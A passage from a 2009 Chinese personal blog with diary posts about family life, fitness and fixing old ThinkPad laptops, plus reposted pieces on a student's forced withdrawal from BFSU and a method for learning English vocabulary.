8000米,心里还在想,这是不是军队里的训练量?这下可倒好,到了周六,感觉实在是累,尤其是大腿,酸痛酸痛的,一直没有休息过来。去老魏那儿做了全身按摩,昨天去骑车走了很远的路,回来了还是酸痛,在操场跑了3圈就顶不住了,赶紧回家睡觉。
早上6点和小善宝一块儿起床,不停地打着呵欠,感觉晕晕乎乎地。这状态,要是有项目立即赶过去的话,还真些顶不住。怎么才能减下这一身的膘来呢?整天精神头老是不足啊。

教孩子学会虚伪

教孩子学会虚伪

最近教孩子学会了虚伪。感觉这是件好事,于是记录一下。

碰到其他阿姨时,善宝露出灿烂的微笑,奶声奶气地喊"阿姨啊",最后一定要带个长长的啊音。最夸张的时,和别人再见时,小手挥舞的那个频率,象是随意的把工具一丢的动作,带着兴高彩烈的情绪。我都注意小家伙很久了,根本不拿眼睛看着别人,仍然认真地玩着自己的玩具,只是听到大人说,要跟谁再见的时候,挥起自己的小手来,朝某个方向表示几下。

和其他小朋友一起玩的时候,也不打人了,有时摸摸其它小孩的头,有时则是把自己的玩具拿出来,换人家的玩。

善宝在不知不觉中,学会了礼貌,也压抑了自己最初的想法,不能打人,见人要打招呼,离开时要再见。

其实,这么小的孩子,心里怎么会关心这些事情呢?他最关心的是什么?最关心自己拉的一泡尿,一堆巴巴,与自己最有关的一些事情,睡觉吃饭什么的。每次蹲在地上尿了,就拉大人的手,要求过去给他擦干净了。每次拉巴巴了,就"啊啊啊"地指着,象是自豪地向大家展示自己的一项杰作。所有的游戏和故事,都是围绕着孩子自己的吃喝拉散,再加上一点儿简单的游戏,这些才是一岁零三个月的小孩,最最关心的事情。其他的,都是浮云,只不过照顾了下大人的情绪,按照大人的意愿,去适应这个世界而已。

可是,虚伪虽然是件可憎的事情,却也是没有办法的事情。许多时候,世界都需要礼貌、交换.....这样一堆一类的规则。世界不能没有规则,否则由着人的本性,会变的更加黑暗和暴力。规则,可以让自己适应别人,迁就别人,照顾到别人的利益,在与其它人相处的时候,不能无限放大自己的人性和需求,而是在各方的需求中达到平衡。对,规则才能平衡。

不管怎么说,小孩学会虚伪,学会这个世界的规则,也不是坏事,他需要照顾着别人的利益,在自己幸福的同时,也让别人开心幸福,让共同的利益最大化。这样,这个世界才能更美好。

现在的社会,也许处于变革期,规则还不完善,所以才有腐败,有贪污,有各种各样只顾着自己的利益,砸小商贩的摊子,不顾矿工的死活,劳工没有保障,农民只能温饱,白领变成房奴,不公平的高考制度,刚毕业就失业,啃老族,经济体服务买办,剧亏的美国国债,高价买进石油和铁矿粉。。。。。许多时候,成人世界只要学会小孩子遵守的一些规则就行了。小学生守则就挺好,人们能做好吗?

2009年3月23日星期一

军队里的训练量

前几天到了30多度,现在又变的象冬天,冷嗖嗖的风,吹着树上刚长出的嫩芽。

感觉特别地累,累的一直没有休息过来,晚上11点早上7点起,中午还要睡上一小觉,还是没有休息过来。
上周未骑车郊区游,逛了一天,骑了也就几十里路,可能是顶风骑累着了,回来后,从周一到周五,每天晚上跑20圈,20X400 =
8000米,心里还在想,这是不是军队里的训练量?这下可倒好,到了周六,感觉实在是累,尤其是大腿,酸痛酸痛的,一直没有休息过来。去老魏那儿做了全身按摩,昨天去骑车走了很远的路,回来了还是酸痛,在操场跑了3圈就顶不住了,赶紧回家睡觉。
早上6点和小善宝一块儿起床,不停地打着呵欠,感觉晕晕乎乎地。这状态,要是有项目立即赶过去的话,还真些顶不住。怎么才能减下这一身的膘来呢?整天精神头老是不足啊。

2009年3月17日星期二

北外香水女生的家信

妈妈:我被北外强制退学了。
阅读(1006712) 评论(10413)
发表时间:2009年03月16日 02:57

本文地址:http://qzone.qq.com/blog/622008752-1237143424
本文标签: 香奈尔 北外 教育部 外语 退学
本文已被推荐到腾讯博客, 点击了解更多精彩内容
学校责令我的爸爸和妈妈必须今天赶到北京,因为他们的女儿闯下了大祸,他们在星期一当天必须到北京到学校,负责后果自负。
天亮的时候,妈妈就会赶到北京,爸爸已经来了,我百口莫辩。
我无法向爸爸和妈妈解释为什么是这样的。事情在突然间变的如此糟糕。

所以想了很久,博客还是继续更新把。既然我已经闯祸了,就继续下去。我真的不知道我错在那里?难道我很个人的表达观点会引来这么大的麻烦?
我真不知道为什么是这样的。也不知道继续写什么。

为了给妈妈解释清楚,刚才给妈妈写了一封信。准备明天交给她,面对她流泪的情形,我真不知道如何表达。只好用信,这个最传统的、比较正式的沟通方式。
我知道她为我这个事情流泪是必然的,可怜天下父母心。

今天就把这个信公开一下,也算为关心的朋友解释一下。无奈有时候也是一种勇气。因为有些事只有面对,我无法逃避。

亲爱的妈妈:

在此,我十分惭愧的告诉您一件事。我被学校强行退学了。希望您听到这个消息的时候不要担心和难过。这一切都是我自己惹的祸,但你和爸爸、奶奶都要相信:你们的孩子是个好孩子。她没有做出什么不可饶恕的坏事,现在发生的一切都会用时间来证明:我没有错。如果说真话会成为不可原谅的罪过,那么我宁愿不要这个毕业证,我不想用失去尊严和说谎来交换一个基本没有价值的学历。

我长大了,不再是那个只会听你们安排的小女孩。

我觉的很有必要把这个事情发生的真实过程告诉您:
3月4号,我在一个网站开了自己的个人博客,陆续写了些小文章。我上网时候知道最近在召开两会,很多人大代表和政协委员都在讨论关于教育改革和就业的问题,自己也就一时冲动,马上结合自己的感受写了几个小文章,内容主要是关于当今外语强制教育的,而且戏称让赵本山当教育部长,这句真是开玩笑的,因为是个人日记,就娱乐了一下。本来自己闹着玩的,没有想到被网站推荐到了首页,然后引起了网友的广泛讨论。3月12号,有报纸报道了这件事.该报道被其他多家报纸和媒体转载.报道的题目是这样的:北外女生炮轰外语强制教育。

接下来的事情就比较麻烦,13日上午和下午,我们系的刘老师2次找我谈话,先是了解关于学生和找工作情况的,接下来就直接问我博客的事情,说我的博客直接攻击教育部,攻击教育部就是攻击国家政权,给学校领导造成了很大的压力,
学校要求我立刻停止博客更新,撤掉文章,否则后果很严重。接着刘老师拿出了学生守则,说你在外面实习没有办注册手续,按照规定是旷课,已经连续2周了,所以你已经违反校规,达到了被除名的条件。说实话,我再过三个月就毕业了,找到工作的很多学生和我一样都在外面实习,像我这样的情况也很多,为什么以前好好的没事,我一批评教育部就问题来了,今年就业形势这么紧张,谁不珍惜来之不易的工作?我恨不得天天加班讨好上司,表达我是有工作热情的,可以和男同学一样天天加班,不辞劳苦。

妈妈,你是知道的,我在公司实习,每天回来都很晚了,学校注册的地方是关了门的.我休息的时间,它也不开门.于是就拖了下来。接着,刘老师告诉我:你这已经没有注册两周了,这得按流程走.看你这心思也不在学习上,听说你一直写文章什么的,挺耽误学习.你在这方面有专长也挺好,发展发展.但你违反学校规定了,要是不尽快办手续,学校是不会保留你学籍的,连肄业证明也不会给你.到时候什么都没有就不大好了.接着她就给我纸和笔.催着我写退学申请.我当时一下就慌了.我很怕.其实近20年的学生生涯,我最怕的就是老师找谈话.虽然我是成年人了,但我对此有着习惯性的本能的畏惧.我翻着学生守则,开除和自愿退学是有区别的.开除是要通报批评,好象还要在教委备案的.不尽快退学,学校不给保留学籍和户口,那样我是不是就是黑户了?
我多年的书白读了?

如果真是这样,你和爸爸该有多伤心? 我还有资格最你们的女儿么?
我不想伤害你们,我当时脑中是一片空白.我问老师该怎么写,怎么个格式.老师说,写学习跟不上吧.我说,这也不实际啊.我学习还可以吧。于是,我含糊的写了工作原因,没能按时上课.这还算和学校列出的借口接近。
我很沉重的签下了我的名字.
我相信老师和我一样清楚,强制逼迫我退学的原因是因为我写了博客。批评了教育部。而且老师也很明确的告诉我,如果博客不写了,承认错误了,一切都可以商量。
我不想在大庭广众之下违背自己的良心,已经批评了,就不改口了。我不想拿自己的尊严来和学校交换毕业证。

妈妈,我承认我冒然批评教育部的做法有点傻,有点自以为是。但我没有认为自己做这个事情有什么错误,现在也一样。这是我的真心话,我就是这样想的,无论到了什么时候,说过的话我一定会承认,做过的事情会自己担当。

我长大了,妈妈,我知道我做这个事情的后果。上大学这四年,尤其是找工作这半年,我对社会有了自己的认识。我算明白了一个道理:反正说假话你也找不到工作,说真话自己会过的舒服一点。

在我签字的时候,妈妈,我想到的不是我自己,而是你和爸爸.
我知道你们一直为自己的女儿感到自豪和骄傲.其中有一个很大的原因:就是我从小到大都是一个乖孩子,学习也很好,在考大学的时候我有很多的选择:北大、北外或者其他学校都不是问题。但最后是你让我上的北外。你认为女孩学外语会很时尚,以后当个老师很安稳。我也就听了您的话,报考了北外最好的系之一:德语系。

但我如果不签这个申请,学校会不会还找出各种理由证明我是个坏学生,然后把我开除,不要再继续给学校捣乱抹黑?如果你们知道我连肄业证都拿不了,也许连学籍资料都没有了,你们该是什么样的反应?该是何等的伤心?那你和爸爸是不是会更加伤心,会想,你们的女儿怎么会是这样的呢?

离开老师办公室的时候,脑中映出的,是妈妈,你的容颜.
妈妈,我来到北京外国语大学,最高兴的应该是您.让女儿进外语学院学外语,是您的心愿.按照您的意思,我放弃了我最爱的北大中文系.来到最好的外语学院,最好的专业.终于圆了您一个外语的梦.

我仍记得七岁的时候,您和爸爸就送我去学外语.东北的冬天很冷.爸爸骑自行车载着我去上课。我仍记得,从小学到高中,你们对我寄予厚望,让我一直在最好的重点学校读书.您一直监督我的功课,三四岁的时候就教我认世界地图,记历史朝代.您自己省钱,却买大量的课外书给我,从儿时起的积淀至今都让我收益菲浅.原本学俄语的您,为了我艰难而努力的学起了英语,每天考我单词,听我背课文.我的每点进步都让你们激动不已,我的每个个挫折都让你们无比焦心.高考成绩出来后的电视台采访我,让我谈学校心得,在旁边坐着的您,露出我见到过的,最美丽的笑容.

二十几年过去,你们的女儿,在你们细心的培养和呵护下,长大了.而你们,却老了.
在爸爸五十岁生日的那天,我很刹风景的泪流满面.因为我没想到,像钢铁一样的父亲,曾经为我撑起一片天的你们,也会老.
流泪的那一刻,我知道我长大了.
长大,意味着我要承担做为一个成年人的责任.意味着,我不该再让你们为我操心.意味着,今后的几十年,轮到我,作为女儿,来悉心的照顾你们.
而今天的事情,让我很羞愧.我很怕.很怕伤害到你们.

。。。。。。
可是现在,可我所说的,让我和您引以为荣的北京外国语大学,却在以我为耻.
妈妈,从小你和爸爸就教我一个做人最基本的道理,就是诚实,要说真话.
我认为自己一直是个活的很真实的人.我遵从自己内心最真实的感受,表达内心最真实的想法.难道在中国,不会说外语的人是没有活路的,说真话的人是可耻的么?
我真的认为,外语强制教育制度是不对的.

爸爸也是个党员.作为一个中国人,我真的无比热爱我的国家.我丝毫没有反叛国家的意思.受教育,是每个公民的权利和义务.在受教育的机会上,应该每个人都是平等的.事情都是客观的.我只是从很善良的角度提出了我的看法.我想我们的教育制度变得更好.人们的生活更加的幸福.我是为了国家更好.国家强大了我们才更加有地位.
只是我有点天真,以为自己读了几年书,看了几本书就以为自己很了不起,就以为说真话,提建议是一种提醒公民价值的行为。
所以很傻天真,很天真的人是我。对不起,妈妈。我错了。
在这个世界上,我不知道有些话是不能说的。

但是,妈妈,爸爸,请你们不要为你们的女儿担心.这件事情,不会改变我的人生.请你们坚信你们的女儿是优秀的,这件事并不会代表什么.我会继续做一个说真话的人.继续为我自己的未来而努力的。
我一定会让你们继续骄傲的,像以往一样,让你们充满自豪,为我。

发一些即将离开我生活四年的北外的几张照片作为留念

2009年3月16日星期一

更有朝气,更有活力

早上五点起来,天刚露白,外面静静的,似乎所有的东西都停止下来,天地间没有一丝的声响。
打开台灯,读书,有些不能集中注意力,看了一会儿,设设行程日历,看看外面的山色阳光,想想未来的打算,还没迷糊多长时间,老婆的闹钟响了,赶紧跑到厨房,蒸上馒头做好粥。小善宝光光的身子,又爬在妈妈身上,啊唔啊唔地了,指指这个,摇摇那个,嘟囔着只有他自己才懂的句子。昨天洗了澡?身上香香的,滑滑的,真正小宝宝的皮肤,小善宝光着小身子坐起来,到处找他刚才随手一放的玩具。我不管三七二十一,直接抱过来穿衣服。就这点儿好,穿衣洗脸洗澡,从来都是一副乐在其中的样子,咧着嘴发出快乐的声音。

又是一个晴天。买的配件昨天就到了,今天就到拿到手了,盼了好几天,焦急万分,终于到手上了。现在机器就很快了,写文档上上网,完全没有问题,再花几十块钱,把配置升级一个档次,更加完美了。现在还有几张盘没刻,集成所有补丁的精简版sp4
windows 2000,以及深度优化的xp (集成sp3),一直想折腾硬盘安装,却一直不行。有那精神头,还是折腾折腾别的吧。

无论如何,以后和小善宝一起睡觉起床了,早上五点晚上十点,雷打不动的作息时间,晚上看四五个小时的书,比上网或者其它强多了。昨天听说邱老师的事,感觉这人更有趣了。据说上医院检查,医生直接让她回家该吃嘛吃嘛吧,已经快不行了。结果人家就这样早上四五点起来,看几个小时书,再活动一小时,过段时间再去检查,啥事儿没有。本来给他老公孩子,都下了若干遗嘱了,呵呵。不过这人心态非常之好,整天和个文化痞子似的,讲哲学课讲的头头是道,万分有趣,经了这一场变故,更是锦上添花,把课堂变的妙趣横生了。
很长时间没见,这几个家伙都买车了。最近老李同志也不组织腐败,连去欣赏一下新车的机会都没有,整天在这蹲着,照顾好自己的身体吧。向邱丽丽学习吧。

2009年3月14日星期六

快速背单词

 伍君仪:北京大学医学心理学硕士,"透析英语"掌门人,在北大独创出一套"绝世武功":用英文和电子词典加上一套心法就能练成顶级英语高手,不仅让你轻松通过四六级、考研英语、GRE,还能熟练阅读英文原著,成为翻译高手,此法屡试不爽,首都各高校曾邀请他做过十几场讲座传授"透析学习法"。目前,"伍林弟子"已经遍及全国各地,北大英语老师也成为"透析英语"的积极推广者。

  下面,请听伍君仪揭秘成为英语高手的窍门。

  你读过英文小说或者任何一本英文原著吗?你具备读英文原版书的能力吗?现在英语教育体系存在严重缺陷:只能读教材,但到了实际应用,就连简单的英文版《达・芬奇密码》都读不下去,更不用说处理英文商务公函、市场分析报告等专业层面的资讯。

  生词多不怕 有电子词典

  读英文原著提高水平是大家都明白的,问题是真要读起来有技术上的问题:生词密度较大影响理解,查词典麻烦又影响阅读兴趣。如何挖掘新式学习工具带来的高效率,关键是如何引导学生用电子词典去阅读原著。具体做法是:

  1.准备一本英文原著(第一本最好是通俗易懂而且有趣的)。

  2.建议每读两页(32开)就用电子词典任选查1个生词,其他生词尽量猜意思,实在不行才有限度地多查(以后一定要过渡到每两页只查1个)。注意把握内容大意,允许细节理解上的偏差。查出来的生词随即存入电子词典生词库,然后关机继续读,这样就不用停下来试图记住生词,尽量把查单词对阅读的影响降到最低。

  3.每日集中复习电子词典库存生词,做一次"英译中"和"生词拼写"练习,把练习正确的单词从生词库中删除,剩下的连同新一天读书查出来的生词混在一起,留待下一天进行同样的处理。生词记忆的最终完成,是靠它们在原著中不同情节语境中反复出现。

  4.初期训练每天至少读20页,旨在克服阅读习惯上的困难,持续一个星期。

  核心操作:

  打开书本,从正文开始阅读,遇到生词的时候,使用电子词典查单词――每2页有且只有查1个生词!!!

  然后,存入电子词典的生词库。存入生词库的具体操作随不同品牌产品、型号而有所不同,请参阅你的产品说明书。主流产品一般设计有一个键调出生词库列表,(例如文曲星会列出"科技"、"文化"、
"体育"三个预先设定好的库,也可以自己重新命名,或者添加新的生词库),供你选择存放在哪一个生词组里头。这样存一个词需要按4、5次键盘,于是电子词典设计了快捷键,只要一按那个存词的键,当前单词便直接存入"默认生词库"里头。"默认生词库"也需要预先设定,在诺亚舟里,做法是在生词库列表中按上下箭头键选择要设为默认的一个生词库,按"="键,该生词库后头就显示(默认),设置成功。在手机上也很简单,在Xcome的朗文词典里,按"书签"键就直接把单词存入了。

  每2页有且只有查1个生词适用于32开左右大小的图书(简称"小书");而16开左右大小的图书(简称"大书")则每1页有且只有查1个生词。本书若不特别指明,均以小书作为示例讨论。

  " 每2页"指数码页,非纸张页。例如,一本书的第2页和第3页,第1024页和第1025页,刚好是书本摊开的两面。"每2页"形成一个查词单元。除非"每
2页"中你一个生词也没碰到才不用查,任何情况下只能查1个生词――不能多,也不能少。词组、短语等在电子词典中是与单词处于同等地位的词条,亦视为一个
"词"。

  阅读原著的时候,是读到某个生词时认为需要查单词就使用查词机会,而不是每翻到新的2页先挑出1个生词来查,也不是每读完2页后再回头找
1个生词来查,简而言之――随读随查。从电子词典查出的生词马上存入机器的生词库,以备进一步处理。确认生词存入生词库之后便可关机,不要试图即时记住。

  看完这本书如果对"每2页查1个生词"还有印象,就已经足够了。在"每2页"中,无论碰到多少个生词――10个好,20个亦好,只能1个。这是透析法长期试验和总结得出来的"金标准",因为:

  ・查少了,单词没有积累;
  ・查多了,影响阅读进度,并影响后续操作;
  ・书本摊开的两面作为查词单元具备很强的操作性,不必分心考虑"看多少才查词"的问题,习惯形成以后不容易忘记查词操作。

  假如你的英语文化水平确实较低,连透析的
"最低配置"――初中生的水平也没达到,可以适当上调参数,每1页查1个或者更多,而且一定有具体限制,一定要放过一定数量的词不查――这仍旧不是标准的透析,必须尽快过渡到"每2页查1个生词"的金标准。核心参数的设置就是要训练你获得"阅读原著时遇到大量生词时仍能读下去"的能力。

  "多查几个不行吗?"

  "2页才查1个太少了吧?"

  请不要讨价还价:没有任何商量的余地,因为这是海量阅读的必要条件。阅读量是查词的前提――我不反对通过大量查词扩充词汇量,但必须根据核心参数有相应的原著阅读量配合。例如,每天掌握50个生词完全可以,但你必须读够100页。要知道,脱离定量背景阅读查的生词是记不住的。

  千万别以为"每2页查1个生词"太少。每天读上几十页的时候,就一点都不少。日后你要处理成千上万页,"每2页查1个生词"和"每1页查1词"的差别都是巨大的。参数的稍许修改将直接影响阅读与单词记忆的平衡,全面打乱透析原著的操作,后果很严重!"每2页查1个生词"不但符合休闲原则,而且涉及阅读的安全性问题。多查1个生词都会倍增你的工作量,最终迫使你放弃原著阅读――这就是透析失败的最严重后果。衡量一下几个生词重要,还是几十本原著重要?提前告诉你:当你用这个方法读到60本原著以上的时候(大概需要几年),你会出现"生词荒",即是找不到生词的情况,到时你会更真切地体验到"每2页查1个生词"
强大的生词处理效率!

  每2页才有1个查词机会,你可能会问:生词多多,如何选择?答曰:悉随尊便。可以查重现率高的词,因为查明意义就能明白书中许多地方;可以查你认为"关键"的词,如小说关键情节中的生词;还可以从"功利"出发,优先查考试中可能出现的"大纲生词",等等。我在读《Augustus》(《奥古斯都传》)的时候,有一页我查了个很古怪的生词augur(古罗马用观测飞鸟等方法预卜未来的占卜官),为何?因为这个词和我的英文名Augustus很像!特别是在词汇量迅速扩大以后,读一本词汇不多的原著(例如现代著作)时,你会慨叹"生词查无觅处",每2页中可能只有一两个――那就要查你碰到的第一个生词了,如果放过就可能就再也找不到生词了。有朋友建议进一步细化选词规则,例如某个单词出现第2次才查――没有必要:复杂的选词规则使你分神去想查哪个生词合适,导致注意力没集中到原著的内容上。单词只不过是阅读的工具,原著材料的内容才是透析操作的第一追求,请不要本末倒置。

  英文单词往往一词多义,我们完全没有必要把所有词义都一下记住,只要找到能够解释原著语境中的具体词义就足够了。例如《 The
Moonstone》(《月亮宝石》)136页:"bears as near as may be, due
south."查"due",电子词典给出下列一箩筐解释:adj.(1)适当的;应有的,应得的;应给的;正式的;充分的
(2)(车船等)预定应到的;预期的;约定的 (3)欠款的,应支付的;(票据等)到期的
adv.(罗盘指针)正(南、北等)n.(1)应得物;应得权益;应有的承认 (2)[~s]应付款;税;会费

  显而易见"正(南)"是对口的解释。因而,没有必要把所有的解释都塞到大脑里,只要把原著的句子读通了,查词的目的就达到了。

  反过来,如果碰到学过的词,却发现意思解释不通,就很有可能是该词的不常见释义,我们应当成生词处理。例如,《The
Odysseys》(荷马史诗《奥得赛》)里Odysseus说:"We stepped the
masts."我们自以为step是最简单不过的词了,可是解作"踏,跨步"是怎么也说不通的。查词,电子词典显示:"vt.【海】竖立(桅杆)于桅座上
"。这里,step就是一个不折不扣的生词,应该存入生词库,同时占据该"每2页"的查词名额。因此,在一知半解的情况下,还得虚心多向电子词典请教。

在查词单元之中,没查的词是"透过",查的词是"析出",合称"透析"。

  2、电子词典货仓式背词

  假设你今天读了20页,电子词典的生词库里就增加了20个生词。

  第二天起床以后,捧起英文原著之前,按顺序进行如下操作:

  1.打开单词复习菜单中的"英译汉"或者"英翻中"功能,检查自己能否看到单词时马上想起中文意义(原著中相应的意义便可)。
  2.打开拼写测验功能,测验库存单词。如果"测验范围"或者"测验词库"的设置不是生词库,请先将测验的对象设置为生词库。有的产品要求全部拼写,有的产品提供首尾字母提示,有的产品仅需填入随机抽空的几个字母:难易差别对效果也没有影响。
  3.回到生词库界面,逐一审核库存生词,看能否回忆。成功通过前两个步骤,并且审核也通过的单词,从生词库中删除;否则任何一步出错都要保留,留待明天进行同样的操作。每日的单词审核删除叫做"出货"。
有些电子词典产品不具备步骤1和2所需功能,只能略过,效果影响还不算很严重,因为复习强度会在日后的阅读中得到自动补偿。但最好还是选购主流电子词典,它们都具备这些常用的功能。

  货仓式背词对来自原著的生词进行了3次重复记忆,是很强的初步记忆。但是,它并不是使你一劳永逸地记住当天的生词,而仅仅是让生词在你的大脑里登记一下。注意:没通过的生词不要尝试当天就进行多次复习,就让它在货仓里多存几天,让它慢慢渗入你的大脑皮层――每天的货仓式背词只需进行一次。真正的长期的、牢固的、理解性的记忆是靠长期读原著逐渐完成的。

  生词库就是你的生词货仓:每天存货,次日出货。只要货如轮转,每天都能记住一批生词。这种机械化自动化的单词"批量生产"拥有当前学习方法的最高效率:阅读查词与记忆操作分离,把生词集中起来处理,去除了"强迫自己记住"的主观成分,从而最大限度地保证了阅读的连续性。例如,我在一本原著中碰到"daguerreotype"(银版照相法),如果停下来努力记下这个又臭又长的生词,阅读肯定没法进行下去;而根据操作规则我只是把它存到生词库里,然后立即恢复阅读。在复习和测验的时候,不必强求自己做对而苦苦回忆,以免在操作上耽误时间。想不起来说明你对该生词还不熟悉,请检测下一个。同样是那个"daguerreotype",我足足存了10天才出货――货仓式背词根据单词的难易和你当时的记忆状态自动安排好每个词需要保留的时间,免除了主观的判断。

  我的货仓存货量随每天透析阅读量的不同而改变,常在10~30之间,很少超过50。因此,每日测验是个轻松的习惯。货仓的吞吐量,间接反映了进步的速度。

  不要以为留着生词舍不得删效果会更好。不删的话,"每2页查1个生词"的进度很快就会造成生词库积压,将会打击你背词的兴趣――臃肿的生词库已经和一般词汇书无异了。盲目保留生词不会增加你对生词的熟悉程度;删除并不意味对它的记忆过程到此为止。只存货不出货,不仅占据货仓的周转空间,还会使存货在仓内烂掉。

  无暇阅读的日子,也要坚持货仓式背词。生词库就没有进账,每天的背词操作很快就会耗竭生词存货,提示阅读正处于停止状态,催促你尽快恢复阅读。"阅读可停,货流不断"。

  "Ideas that have great results are always simple ones."――《War And
Peace》(《战争与和平》)第1262页。

  两个原则:
  1.每本英文原著须从一而终读到底:浅尝辄止是读书的大忌;换书要在10页内作出决定,透析超过10页以后必须坚持到底。
  2.每本英文原著一般只透析一次,除非你有特殊目的,切忌一本原著读完又读。这个世界信息爆炸,绝大多数信息你只能接触一次,所以你必须习惯永不回头。

注:本文系编者根据网上资料整理而成,但愿中心思想没有偏离原作者要求。

2009年3月12日星期四

pidgin与amsn

pidgin 中文乱码的问题,而且QQ上的好友列表,全部显示为null。可以这样解决,只要设置gtk为中文字体,并将gtk的主题设为一个更好看的就行了。步骤如下:
找到 GTK\2.0\etc\gtk-2.0\gtkrc这个文件,打开后只有一行,改为
gtk-font-name = "SimSun 9" gtk-theme-name = "Clearlooks"
后面的主题,其实可以在themes的目录中,找到许多,也可以使用程序GTK\2.0\bin\gtkthemeselector.exe 进行选择。
因为我的机器上安装的英文windows 2000,所以打开这个程序后报错。就象ipmsg也不能用一样。所以,直接修改gtkrc就行了。
这个配置文件的名字,倒和linux下的一样。
还有个挺好用的东东 amsn,这个基本和微软的msn功能差不多,同样支持视频和语音通话,还有那些表情什么的,好处是速度快没广告。

2009年3月11日星期三

上当

上当

最近几周,又花220元钱买了一台IBM笔记本。价格倒是真便宜,220块也就吃顿饭的价格。不过机器经过10来天寄到手,拆开包装一看,成色倒是真对的住这价格。以IBM钛合金那种结实骨架,基本都磕的到处是伤。外面的黑色漆掉了一块一块,象是被火烤过一般,摸上去感觉粘乎乎的。

打开屏幕,倒是亮色完美,无班无点,再一敲键盘,可毁了,手感还不如30块钱的键盘。比我原来买的同型号的tp600,更是没法比了。而且上面若干键位也粘乎乎,倒是倒过咖啡。敲上去,有若干键位也没有响应。

拆机。少了若干镙丝,可谓少皮没毛。硬盘架也没有了,用几块破报纸垫着,靠,这哥们儿还真是有财,居然想出这么个招儿。不过倒也说的过去,用报纸塞好以后,牢固程度不差起原机配套的硬盘架。

最扰心的是,对硬盘只读不能写,换上在另一台机器上能用的硬盘也不行。无法安装系统,只有读取无法写入,靠,这叫什么事儿?也没听说主板会有这种毛病。这个问题无法解决的话,就只能找个光驱位硬盘架了。

又从网上找了块CPU,花了55,机器速度和现在最流行的机器配置也差不多了。要是再有个键盘,把硬盘问题搞定,就更完美了。

这个型号的光驱位硬盘架不好找,看看吧。暂时用不着这机器,先放柜子里。

其实也没什么抱怨的,光屏幕的价格也值220了。但对着这么个破机器,总感觉失去了许多。哎,以后不折腾这个了。需要机器,直接一步到位,买最新最高配置吧。

今天的折腾

今天对cpu风扇加了润滑油,感觉真是爽,耳朵贴近了才到听到声音,非常非常地安静,感觉真是幸福。Cpu加润滑油非常简单,但可能固态的润滑油并不好,有空还是买点儿表油或缝纫机油吧。老东门有种缝纫机油,好像才5毛钱一管,呵呵,买点儿那个也挺好。就是好像存不了半年期限吧。现在手里还有大量的锂基润滑油,效果肯定比一般的润滑油好多了,不容易挥发,另外也不容易粘灰尘,特别适合电机轴承上面使用。本来就是用在这上面的嘛。
一时冲动,又买了几样东西,花了买这台IBM笔记本时花的钱,220元。共计哪些东西呢。
1、 Mmc1 PII 400cpu
这个已经是极品了,mmc1下的最高规格,升级到这台机器上面,可以再用一段时间。另外,这个速度写东西、上网,甚至用来解决工作上的一些事情,也满够用了。平时也可以放着作BT一类。
2、 Tp600e主板。现在的这块主板,可能IDE口损坏,无法对硬盘进行写操作,只能读硬盘基础信息,连分区信息都读不出来。另外的一个可能,是IDE排针有松的地方,回头拿到这新主板后,就对现在这块主板进行助焊,把排针重新折腾一下。另外,这样的配件以后不好找了。而这块手感巨好的笔记本,我还想用上十年八年的,就权当配件吧。
3、 Tp600系列的键盘。理由同上。另外,现在的这个键盘,有几个键位也有问题,也权当配件吧。
4、 Tp600 cpu风扇。卖家比较好,白送了,另外还送了旧的小红帽。真是不错啊。
5、 SDRAM 128MB内存。笔记本上的pc100
SD内存不好找了。这个比较便宜,上次想了想没收,这次一并收过来了。以后可能要两台机器同时开起来了,一台老婆拿来写点儿论文啥的,一台我做工作备机。
上面的配件,共花了220,唉,和上次买的两块IBM笔记本一个价格。第一块260元,第二块220元。虽然第一块配置低,但成色接近九成新,键盘手感特别好。第二块就惨了点儿,只能用垃圾来形容了。
买了一堆配件,也算是提供个机会玩一玩,权当娱乐活动了。看三台笔记本拆成上百个零件,散落在两个桌子,还是很好玩儿的。

移动的无线上网本可以更快

移动的无线上网本可以更快。
移动的cmnet网络存在大量蠕虫病毒。接入不超过10分钟,就会感染。使用蜜罐系统,可以很快抓取样本。现在好多运营商开始上3G业务,其实对于有限的网络资源来说,对接入端的网络操作控制也非常重要,可以提高有限的资源利用率,把有限的网络带宽放到有用的地方,阻断蠕虫病毒和广播包、垃圾包对系统的影响

2009年3月10日星期二

最好用的飞信版本

移动的飞信体积非常庞大,win2000下的飞信一直不能用,无论使用哪种方法安装,未打任何补丁的win2000是没法折腾能用的。前些天找了飞信助手,也不能用。
今天发现一个好用的工具。Libfetion,其实很早前就在linux下用了。今天发现,居然还有windows和Macos的版本,真是功能强大。而且体积巨小,速度巨快,在www.libfetion.cn下载后,上去看了一下,还提供各种开发api接口,真是太棒了。另外,还支持iphone,以及普通手机的sybian版本。这可不是一般的强啊。有兴趣的赶紧试试吧。
解压后,直接运行,提示缺少msvcr8.dll,到原来的飞信目录下面,可以找到对应的文件,复制到%system%系统目录下面,可以用了。感觉真棒。

2009年3月5日星期四

又见颈椎病,每小时必须活动一下

http://6764296.blog.hexun.com/30197566_d.html

最近的一本好书

http://data.book.hexun.com/book-4006.shtml

"百度一下:互联网时代的2008年度记忆"简介
《百度一下》 作品相关
  每一次搜索都是一种表达,数亿网友在百度每天的搜索"投票",刻录下来的是年度的历史记忆,沉淀下来的是超越个人的群体意识和时代精神。 ・编辑推荐 ・内容简介
・作者团队简介 ・目录
・2008年度十大热门事件 ・悲欣交集2008

《百度一下》 第一部分
  众里寻她千百度。百度最大的资产是它凝聚用户的能力。不同的用户选择使用这一搜索工具,得到他们想要的信息,百度在汉语搜索上的优势使其凝聚到了最大份额的"中国读者","百度一下"成为搜索一下的替代用语,这是技术的胜利,工具的胜利。
・百度的成人礼 ・风云际会纠结跌宕的2008(1)
・风云际会纠结跌宕的2008(2) ・风云际会纠结跌宕的2008(3)
・榜评永远不变的是变化(1) ・榜评永远不变的是变化(2)
・2008年度十大热门事件 ・榜评悲欣交集2008(1)
・榜评悲欣交集2008(2)

《百度一下》 第二部分
  1月2日,新疆乌鲁木齐德汇国际广场发生火灾,5日下午大火被扑灭。火灾中共有5人遇难,其中3人为消防官兵,直接经济损失超过5亿元。此次火灾,人们聚焦于小商品市场的消防安全问题。
・第一周0101~0106 ・第二周0107~0113
・第十三周0324~0330 ・第十六周0414~0420
・第十八周0428~0504 ・第二十周0512~0518(1)
・第二十周0512~0518(2) ・第三十周0721~0727
・第三十二周0804~0810(1) ・第三十二周0804~0810(2)
・第三十二周0804~0810(3)

《百度一下》 第三部分
  近日,一段白岩松主持的10月7日《新闻1+1》的视频在一论坛上被贴出,引发网友热议。网友称其在节目中语无伦次发挥失常,怀疑其醉酒出镜,甚至将其中一些"对话"制成"白岩松醉话录"。白岩松对此未予回应。
・第四十二周1013~1019 ・第四十五周1103-1109(1)
・第四十五周1103-1109(2) ・第四十九周1201~1207(1)
